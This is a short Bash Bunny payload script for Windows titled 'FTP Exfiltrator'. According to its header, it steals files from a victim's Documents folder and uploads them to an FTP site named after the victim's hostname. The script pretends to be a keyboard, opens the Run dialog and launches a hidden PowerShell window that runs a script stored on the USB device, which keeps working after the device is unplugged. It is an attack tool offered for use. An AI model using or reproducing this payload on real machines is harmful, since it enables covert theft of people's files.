#!/bin/bash
#
# Title:       FTP Exfiltrator
# Author:      Nutt
# Version:     1.0
# Targets:     Windows
# Description: Exfiltrates files from the users Documents folder FTP's all files/folders to a specified
#              FTP site named by the victim hostname. Powershell FTP script will stay running after
#              BashBunny is unpluggedonce light turns green unplug and check FTP site.
#
# LEDS:
# Purple: Setup
# Red: Failed - Need to work on
# Green: Finished

LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 1000
LED ATTACK
QUACK STRING powershell -windowstyle hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\1.ps1')"
QUACK ENTER
LED FINISH
